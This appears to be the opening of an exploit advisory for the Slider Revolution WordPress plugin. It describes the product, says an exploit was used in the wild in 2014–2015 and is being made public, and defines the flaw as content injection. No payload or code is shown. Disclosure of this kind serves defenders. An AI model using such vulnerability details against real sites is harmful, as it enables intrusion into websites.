# Description about Software :
***************************
Slider Revolution (Revolution Slider) is an innovative, responsive WordPress Slider Plugin that displays your content the 

beautiful way. Whether its a Slider, Carousel, Hero Image or Video Scene for best conversion rates or even a whole Front Page, 

the visual, drag & drop editor will let you tell your own stories in no time! Desktop or mobile device!

Note : This Exploit was used in 2014 - 2015 exploited in the wild but it was not shared so in details. That's why I made it public.

############################################################################################

# Impact :
***********
The software constructs all or part of a command, data structure, or record using externally-influenced input from an 

upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify how it is

parsed or interpreted when it is sent to a downstream component and this is called as content injection.
